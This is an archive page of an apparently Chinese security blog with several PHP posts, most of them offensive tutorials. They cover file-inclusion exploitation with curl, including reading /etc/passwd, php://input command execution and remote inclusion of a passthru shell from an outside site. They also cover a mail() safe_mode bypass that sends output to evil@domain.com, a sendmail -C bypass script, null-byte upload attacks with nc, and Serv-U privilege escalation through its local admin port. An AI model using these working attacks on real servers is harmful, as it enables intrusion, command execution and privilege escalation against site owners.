存档

文章标签 ‘PHP’

Check MD5(md5sum for php)

2008年11月14日 没有评论 103 views

<?php
/******************************************************************
Check MD5(md5sum for php)
2008-11-09
amxku.net

校验文件的准确性.
在网站被入侵后,检查文件的准确性。

*UIX下可以用md5sum * >md5sum 来得到所有文件的md5值,然后把两次得到的
MD5值来进行对比。

在代码检查方面那么有一丁点用处,别的没什么用。
******************************************************************/
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';
echo '<title>Check MD5(md5sum for php)</title>';
check_md5(".");

function check_md5($directory){
    $check_md5_dir = @opendir($directory);
    echo '<ul>';
    while ($file = @readdir($check_md5_dir)) {
    if ($file != "." && $file != "..") {
    if(is_dir("$directory/$file")){
        echo '<li><strong>'.$file.'</strong></li>';
        tree("$directory/$file");
    }else{
        echo '<li>'.$file.' ==> '.md5_file("$directory/$file").'</li>';
    }
    }
    }
    echo '</ul>';
    closedir($check_md5_dir);
}
?>

分类: 资源共享 标签: , ,

decode php

2008年11月3日 没有评论 100 views

来源:Web安全手册

感谢无敌小黄瓜[BK瞬间群]的投递
支持gzdeflate、base64_encode、str_rot13的解密。

decode php

点此下载

分类: 资源共享 标签: ,

对PHP文件包含漏洞的初步认识

2006年10月26日 3 条评论 66 views

作者: 疯狗
经常听到PHP文件包含漏洞,前一阵子贱心发现的BO-BLOG漏洞就是文件包含漏洞,可以用来执行一些命令,这个文件包含到底是怎样形成鸟?

可以简单的理解为乱用include();

$id=$_GET["id"];
include($id);

稀里糊涂的就把$id这个变量给引用了,但是不要单纯的理解为这个漏洞就是include了变量,include了文件也是有可能利用的,这个稍后在做介绍.

首先做个简单的测试,让大家初步了解下文件包含BUG(提交数据,我爱curl),首先把以上文件保存在肉鸡上,我命名为1.php

然后提交我们构造的$id变量内容,/etc/passwd,提交,看返回结果

C:>F:Hacker综合工具curlcurl.exe http://www.***.net/admin/1.php -d "id=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/bash
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
sheke:x:500:500::/usr/:/bin/bash
mysql:x:501:501::/home/mysql:/bin/bash
my89189-com:x:502:503::/home/web/my89189-com/:/sbin/nologin
sk:x:503:504::/home/sk:/bin/bash
cyol-com:x:504:505::/home/web/cyol-com/:/bin/bash
ianlow-com:x:505:506::/home/web/ianlow-com/:/bin/bash
rich30:x:506:507::/home/web/rich30:/bin/bash
sanyc:x:507:508::/home/web/sanyc/:/bin/bash
toipo-com:x:508:509::/home/web/toipo-com/:/bin/bash
my89189-com-minglu:x:509:510::/home/web/my89189-com/minglu/:/bin/bash
dong:x:510:511::/home/web/my89189-com/minglu/dong/:/bin/bash
jeslea-com:x:511:512::/home/web/jeslea-com:/bin/bash

C:>

读出文件了哦,注意权限,如果我提交一个不存在的变量是什么效果呢?

C:\>F:\Hacker\综合工具\curl\curl.exe http://www.***.net/admin/1.php -d "id
=fuck"

Warning: main(fuck): failed to open stream: No such file or directory in
/home/web/sa***/admin/1.php on line 2

Warning: main(fuck): failed to open stream: No such file or directory in
/home/web/sa***/admin/1.php on line 2

Warning: main(): Failed opening 'fuck' for inclusion (include_path='.:/u
sr/local/php/lib/php') in /home/web/sa***/admin/1.php on line 2
/>

C:\>

爆出了绝对路径,MLAND有事,就先写到这.

光是这样来读取文件觉得还不够,是否可以执行命令呢?有种方法是把< ?passthru($cmd);?>写进apache的日志文件,但是成功率不高,在网上找到一种方法,利用php://input
URL:http://www.itvisual.org/linux/18/112408.html

来提交
C:\>F:\Hacker\综合工具\curl\curl.exe http://www.***.net/admin/1.php -d "id
=php://input&< ?passthru('id');?>"
id=php://input&uid=99(nobody) gid=4294967295 groups=4294967295

呵呵,成功了,试试列目录,替换W为ls即可,文件包含漏洞配合这个php://input简直了,而且它默认还是开放的,好了下面试试非变量包含漏洞,即"文件"包含漏洞是怎样的呢?

例如2.php是这样的
< ?
...
include("$inc/conn.php")
...
?>

虽然$inc我们可以自己来定义,但是后面还有个conn.php,难道这样就不行了吗?首先我们可以定义$inc,还有呢,别忘了这是include啊!我们完全可以利用第三人来配合攻击.也许有的人糊涂了,或者是思路被限制了,认为$inc只能提交些命令,其实我们完全可以把它伪装成另一个站点,那么调用的就是另一个站点的conn.php了,而这个conn.php呢,内容就是这个

< ?passthru($cmd);?>

然后在提交$cmd变量的内容为我们需要的命令,貌似很烦琐啊,看这个例子大家就明白了

C:\>F:\Hacker\综合工具\curl\curl.exe http://www.***.net/admin/2.php -d "in
c=http://www.loveshell.net&cmd=id"
uid=99(nobody) gid=4294967295 groups=4294967295

看到了吗?其实引用的内容变成include("http://www.loveshell.net/conn.php")了,紧接着$cmd变量跟入执行命令.

由此可见,这钟漏洞危害很大啊,ls出数据库连接文件,在cat,结果可想而知,而且现在不知道还有多少程序存在隐藏的文件包含BUG,当然了,现在大的程序的include()绝不会这么弱智的,一定会有对变量处理的地方,但是也会有疏漏的,好自为之了.

分类: 技术文章 标签: ,

IIS 6 的 PHP 最佳配置方法

2006年10月22日 没有评论 60 views

虽然 LAMP 组合很不错,但是如果想要架设一台同时支持 PHP、ASP、ASP.NET、JSP、Perl 的 Web 虚拟主机服务器,还是用 Windows 2003 的 IIS 6 最好。网上有很多介绍在 IIS 6 上配置 PHP 的文章,但是那些方法不是性能不好,就是升级麻烦。下面的方法可以让你在第一次配置好后,能够非常方便的进行升级。

这里所说的升级,是指从某个 php4 版本升级到另一个 php4 版本,或者从某个 php5 版本升级到另一个 php5 版本,而不是指从 php4 升级到 php5。

准备:

1、一台安装好的 Windows 2003 服务器,并且已经安装了 IIS 6。

2、下载 windows 版的 PHP 二进制压缩包

安装:

解压缩 PHP 二进制压缩包到 C:\php 目录下(这里假设 C: 盘是系统盘,即安装了Windows 系统的盘,如果系统盘是 D: 盘,则解压缩到 D:\php 目录下,以此类推,下同)。

然后打开“我的电脑”->“属性”->“高级”->“环境变量”->“系统变量”->“path”,编辑其值,在前面增加下面的路径地址:

C:\php;C:\php\dlls;C:\php\extensions;C:\php\sapi;

将 php.ini-dist 或 php.ini-recommended 复制到 C:\Windows 目录下,并改名为 php.ini,一般正式发布网站的服务器用 php.ini-dist,而作为调试用的服务器用 php.ini-recommended 更好。当然一般情况下,这个 php.ini 还是需要根据实际情况来修改的。

下面来介绍一下几个必要的修改选项:

extension_dir = "C:\php\extensions"

这个是 PHP 扩展所放置的目录,请确保跟你实际安装的目录相同。

extension=php_mbstring.dll
;extension=php_big_int.dll
extension=php_bz2.dll
extension=php_cpdf.dll
extension=php_crack.dll
extension=php_curl.dll
extension=php_db.dll
extension=php_dba.dll
extension=php_dbase.dll
extension=php_dbx.dll
extension=php_domxml.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
extension=php_gd2.dll
extension=php_gettext.dll
extension=php_hyperwave.dll
extension=php_iconv.dll
;extension=php_ifx.dll
;extension=php_iisfunc.dll
extension=php_imap.dll
;extension=php_interbase.dll
extension=php_java.dll
extension=php_ldap.dll
;extension=php_mcrypt.dll
extension=php_mhash.dll
extension=php_mime_magic.dll
extension=php_ming.dll
extension=php_mssql.dll
extension=php_msql.dll
;extension=php_oci8.dll
extension=php_openssl.dll
;extension=php_oracle.dll
extension=php_pdf.dll
extension=php_pgsql.dll
;extension=php_printer.dll
extension=php_shmop.dll
;extension=php_snmp.dll
extension=php_sockets.dll
;extension=php_sybase_ct.dll
extension=php_w32api.dll
extension=php_xmlrpc.dll
extension=php_xslt.dll
extension=php_yaz.dll
extension=php_zip.dll
上面这些,开头没有加分号的是打开的扩展,加了分号的是没有打开的扩展。上面的设置包含了在 Windows 2003 上默认安装情况下可以打开所有扩展(这里列出的是 php 4 的)。

session.save_path = c:\sessions
这个是 session 文件默认保存的目录,这个目录必须是一个存在的目录,不然默认的 session 功能会无效。我这里设置的是一个 ramdisk 上的一个目录。将 session.save_path 设置在 ramdisk 上可以加快 session 处理的速度。如果你没有安装 ramdisk,你可以把它指定到其他盘的任何一个目录下,如 C:\sessions 目录、C:\Windows\Temp 目录等。

OK,基本工作作完了,现在该配置 IIS 了。

打开“ Internet 信息服务(IIS)管理器”,在“ Web 服务扩展”里,选择“添加一个新的 Web 服务扩展”,扩展名可填写“PHP ISAPI 扩展”,要求的文件选择:C:\php\sapi\php4isapi.dll(如果安装的是 PHP5,则此处是 C:\php\sapi\php5isapi.dll,下同),并设置扩展状态为允许。

打开“网站”->“属性”->“ISAPI 筛选器”->“添加”,筛选器名称可填写“PHP”,可执行文件仍然选择 C:\php\sapi\php4isapi.dll。

打开“网站”->“属性”->“主目录”->“应用程序设置”->“配置”->“应用程序扩展”->“添加”,可执行文件还是选择 C:\php\sapi\php4isapi.dll。扩展名填写“.php”,动作限制为“HEAD,GET,POST”。

打开“网站”->“属性”->“文档”->“启用默认内容文档”->“添加”,可以将 index.php 添加为默认内容文档。

然后选择“服务器机器名”->“所有任务”->“重新启动 IIS”来重启 IIS。

测试

在默认网站发布目录下,建立一个测试页面:

下载:phptest.php

phpinfo();
?>
如果打开这个页面能够看到 php 安装配置信息,就算是安装成功了。

如果想要更优化的执行 php 程序,可以安装 ZendOptimizer-2.6.0-Windows-i386.exe ,这个东西安装非常简单,这里就不介绍了。

升级

现在升级就非常简单了。只需要将新版本的 PHP 二进制压缩包下载下来,将原来的 C:\php 目录删除,将新版本解压缩到 C:\php 目录中,然后重新启动一下 IIS 就可以了。不需要修改任何配置,也不需要往 System32 目录中复制任何文件。是不是很方便啊?

分类: 技术文章 标签: ,

PHP安全配置

2006年10月22日 没有评论 57 views

安全PHP很不错的DOC

整理:san
版本:0.02

创建时间:2001/11/12
更新时间:2003/07/21

一、Web服务器安全

PHP 其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。 PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:


<? mail(" foo@bar ,"foo","bar","",$bar); ?> 


执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id& #124;mail evil@domain.com

这将id执行的结果发送给 evil@domain.com 。

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

<?
# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP 的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或 Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var() 函数可以得到配置选项的各个值。

如果配置选项是唯一 PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启 apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是 Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:


<Directory /var/www>
   Options FollowSymLinks
   php_admin_value safe_mode 1
</Directory>


重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:


<?include("index.html")?>

几个文件的属性如下:


# ls -la
total 13
drwxr-xr-x    2 root     root          104 Jul 20 01:25 .
drwxr-xr-x   16 root     root          384 Jul 18 12:02 ..
-rw-r--r--    1 root     root         4110 Oct 26  2002 index.html
-rw-r--r--    1 www-data www-data       41 Jul 19 19:14 test.php


在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:


safe_mode_gid = On


设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且 shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路

分类: 技术文章 标签:

PHP和ASP上传漏洞探究

2006年10月18日 没有评论 58 views

1 传漏洞利用的原理只是针对form格式上传的asp和php脚本***
nc(netcat)

用于提交数据包

dos界面下运行:

nc -vv www.***.com 80<1.txt

-vv: 回显

80: www端口

1.txt: 就是你要发送的数据包 (更多使用方法请查看本区的帖子)

wse(wsockexpert) 对本机端口的监视,抓取ie提交的数据包

2 漏洞原理

下面例子假设的前提

www主机: www.***.com;

bbs路径 : /bbs/

漏洞源于对动网上传文件的研究,建议有一定编程经验的看看dvbbs的upfile.asp文件,没有必要全部看懂。upfile是通过生成一个form表上传,如下


<form name="form" method="post" action="upfile.asp" ...>

<input type="hidden" name="filepath" value="uploadface">

<input type="hidden" name="act" value="upload">

<input type="file" name="file1">

<input type="hidden" name="fname">

<input type="submit" name="submit" value="上传" ...></form>

用到的变量::

filepath 默认值uploadface 属性hiden

act 默认值upload 属性hiden

file1 就是你要传的那个文件

关键是 filepath 这个变量!

默认情况下我们的文件上传到www.***.com/bbs/uploadface/

文件是用你的上传时间命名的,就是upfile里的这一句


filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext

--------------------------------------

我们知道计算机里面的数据是一""为标致的用过c语言的都知道:char data[]="bbs" 这个data数组长度是4: b b s

如果我们构造filepath如下,会怎么样呢?

filepath="/newmm.asp"

我们在2004.09.24.08.24传的文件就会发生变化没有改时:: _blank>http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时:_blank>http://www.***.com/newmm.asp/200409240824.jpg

这样当服务器接收filepath数据时,检测到newmm.asp后面的就理解为filepath的数据就结束了。这样我们上传的文件,比如c:.asp 就保存成: _blank>http://www.***.com/newmm.asp

3 后期补充

漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行。有很多网站只是加了n个hiden属性的变量对付网上公布的 upfile.exe就是那个上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具。自己改wse抓到的包里的filepath变量,然后在用nc提交。就算他加n个hiden变量也于事无补。当然, 如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结就是我们的新理论诞生的时候!

4 详细实例

一、wse抓包结果(存到1.txt里):

post /bbs/upphoto/upfile.asp http/1.1

accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

application/x-shockwave-flash, application/vnd.ms-excel,

application/vnd.ms-powerpoint, application/msword, */*

referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp

accept-language: zh-cn

content-type: multipart/form-data;

boundary=-----------7d423a138d0278

accept-encoding: gzip, deflate

user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)

host: _blank>www.xin126.com

content-length: 1969

connection: keep-alive

cache-control: no-cache

cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf;

iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37;

username=szjwwwww; pass=5211314; dl=0; userid=62;

ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278

content-disposition: form-data; name="filepath"

../medias/myphoto/

-----------------------------7d423a138d0278

... ...

上传

---------------7d423a138d0278-----------------

二、ultraedit打开1.txt改数据:


......

-----------------------------7d423a138d0278

content-disposition: form-data; name="filepath"

/newmm.asp <===这个黑色代表一个空格是 0x20,改成0x00就可以了

......

三、重新计算cookies长度,然后nc提交

nc -vv _blank>www.xin126.com 80 <1.txt

ultraedit是一个16位编辑器网上可以下载得到

我们主要用来写那个结束标致: ====>16位表示:0x00或者00h

其实你改的时候就直接再filepath的结尾处加个00就ok了

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了

----------------------------

......

host: _blank>www.xin126.com

content-length: 1969 <======就是这个

connection: keep-alive

cache-control: no-cache

......

计算会吧?一个字母、数字就是1

对于上传漏洞提出的解决思路:(仅供参考)

1、一般的上传是把上传路径作为一个变量来处理

===>我们的对策就是把filepath变成常量。。。

这个方法是目前最有效的(我认为的)

2、加强对于的处理,原来我们是读到这里就结束

我们继续读直道下一个变量开始的地方,处理就ok了

附:NC Usage:

监听外部主机

nc [-options] hostname port[s] [ports] ...

监听本地主机

nc -l -p port [options] [hostname] [port]

options:

-d detach from console, stealth mode

-e prog inbound program to exec [dangerous!!]

-g gateway source-routing hop point[s], up to 8

-g num source-routing pointer: 4, 8, 12, ...

-h this cruft

-i secs delay interval for lines sent, ports scanned

-l listen mode, for inbound connects

-l listen harder, re-listen on socket close

-n numeric-only ip addresses, no dns

-o file hex dump of traffic

-p port local port number

-r randomize local and remote ports

-s addr local source address

-t answer telnet negotiation

-u udp mode

-v verbose [use twice to be more verbose]

-w secs timeout for connects and final net reads

-z zero-i/o mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]

分类: 技术文章 标签: , ,

突破WIN2003 PHP服务器的新思路

2006年9月28日 没有评论 73 views

从WIN2000到WIN XP, 再到WIN2003, MS IIS服务器安全性的提高是显而易见的。 在WIN2000中, 一个普通的PHP SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也无法用system() 等函数执行系统命令, 但是我们还能用com()函数进行突破;到WIN 2003,即使IIS 和PHP都是默认安装,你用system(), com()也可能拿它没辙。这时候你就不得不使用一些新的方法来进行突破了。

1、disable_functions的突破

在php -4.0.1以上的版本,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been disabled for security reasons,同时程序终止运行。但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令,示例代码如下:

<?
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

据说这个只有设成safe_mode为on才能避免,但上次我在一台国外的服务器上使用的时候还是失败了,人并不是什么时候都能那么走运的:)

2、dl()函数的应用

当任何PHP的内部命令执行数和''都无法使用的时候,可以尝试dl(),该方法只能用于safe mode=off, 因为它在安全模式下是被禁用的。利用dl()你可以直接调用W32api 函数,可惜这个扩展已被移动到 PECL 库中,且自PHP 5.1.0以下版本起不再被绑定。以下是手册里的例子:

// 加载此扩展
dl("php_w32api.dll");

// 注册 GetTickCount 函数,来自 kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long");

// 注册 MessageBoxA 函数,来自 User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");

// 取得开机时间信息
$ticks = GetTickCount();

// 转换为易于理解的文本
$secs = floor($ticks / 1000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);

$str = sprintf("You have been using your computer for:".
"\r\n %d Milliseconds, or \r\n %d Seconds".
"or \r\n %d mins or\r\n %d hours %d mins.",
$ticks,
$secs,
$mins,
$hours,
$mins - ($hours*60));

// 显示一个消息对话框,只有一个 OK 按钮和上面的开机时间文本
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK);
?>

可惜我还没有理解透彻dl()和W32api, 所以就不乱举例子了, 免得误导读者。

3、COM 和 .Net(Windows)函数的应用

COM(Component Object Model,组件对象模型)是微软开发的软件规范,它用于开发面向对象的、编译好的软件组件,它允许把软件抽象成为二进制的部件,主要运用于windows平台。
PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用COM函数。它的使用方法类似于C++或Java中类的创建的语法,并把COM的类名作为参数传递到构造函数。例如使用在PHP中调用“WScript.Shell”执行系统命令:

<?
$cmd=” E:/cert/admin/psexec.exe”;
if($com=new COM("WScript.Shell")) echo "yes";

if(!$cmd1=$com->exec($cmd))
{
echo "can not exec()";
}

if(!$cmd2=$cmd1->stdout())
{
echo "can not stdout()";
}

if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>

图1是我写的一个执行psexec.exe的一个例子。

这段代码与ASP的<%=server.createobject("wscript.shell").exec("cmd.exe /c netstat –an”).stdout.readall%>的意思是一模一样的,当然,你也可以像ASP那样调用“ADODB.Connection”,利用这个组件结合jet2溢出漏洞,可能能够在PHP Saft mode=ON下拿到一个Shell。

<?php
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
…..
?>

.Net 函数只能运行在 PHP 5上,当然,它需要 “.Net runtime”的支持,而且这的PHP的一个实验性模块,功能还未齐全,所以在这就不讨论了。

4、Java()函数的应用

该方法适用于safe mode=on。要使用JAVA模块服务器必须事先安装Java虚拟机,而且在PHP安装配置的时候打开了with-java的选项,代码如下:

[JAVA]
;这是到php_java.jar的路径
;java.class.path = .\php_java.jar
;JDK的路径
;Java.home = f:\jdk1.3.0
;到虚拟机的路径
;Java.library=f:\jdk1.3.0\jre\bin\hostspot\jvm.dll

同COM一样,使用Java创建类(不仅仅是JavaBeans)只需把JAVA的类名作为参数传递到构造函数。以下是手册里边的一个例子:

<?php
// This example is only intended to be run as a CGI.

$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java.awt.Button', 'Hello Java World!');

$frame->add('North', $button);
$frame->validate();
$frame->pack();
$frame->visible = True;

$thread = new Java('java.lang.Thread');
$thread->sleep(10000);

$frame->dispose();
?>

可惜能真正支持JAVA的PHP服务器并不多见,所以在这也不多讨论了。

5、socket()函数的应用

socket 是PHP中功能极为强大的一个模块,如果你使用高级的、抽象的接口(由fsockopen()和psockopen函数打开的socket),是不需要打开“php_sockets.dll”的。但是如果要使用完整的socket函数块,就必须在php.ini这样设置:

;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
……..
;去掉以下一句最前边的分号
;extension=php_sockets.dll

使用PHP的socket函数块可以实现端口转发/重定向、数据包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 还可以用它构造TCP/UDP服务器, 同时, 我觉得它也是突破服务器安全策略的一个最好的办法。以下便是一个在服务器上打开端口构造TCP服务器的例子,你可以用它来捆绑上服务器的cmd.exe:

<?php
//在服务器上构造TCP服务
//该例子需要php_sockets.dll的支持
//执行后便可使用” telnet 127.0.0.1 1020”连接
error_reporting(E_ALL);

/* Allow the script to hang around waiting for connections. */
set_time_limit(0);

/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();

//在服务器上绑定IP和端口
$address = '127.0.0.1';
$port = 1020;

if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
}

if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . 
socket_strerror($ret) . "\n";
}

if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}

do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
break;
}
/* Send instructions. */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));

do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";

//以下处理接受到的buf
/*eg:例如
$buf=”cmd.exe /c netstat –an”;
$pp = popen('$buf ', 'r');
While($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/

} while (true);
socket_close($msgsock);
} while (true);

socket_close($sock);
?>

效果如图2、图3所示。

事实上,很多主机都是没有加载php_sockets.dll的,庆幸的是,不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子:

<?
$adminuser=” LocalAdministrator”;
$adminpass=” #l@$ak#.lk;0@P”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {

//可以写入$shellcode
// fputs ($fp, $shellcode);

fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
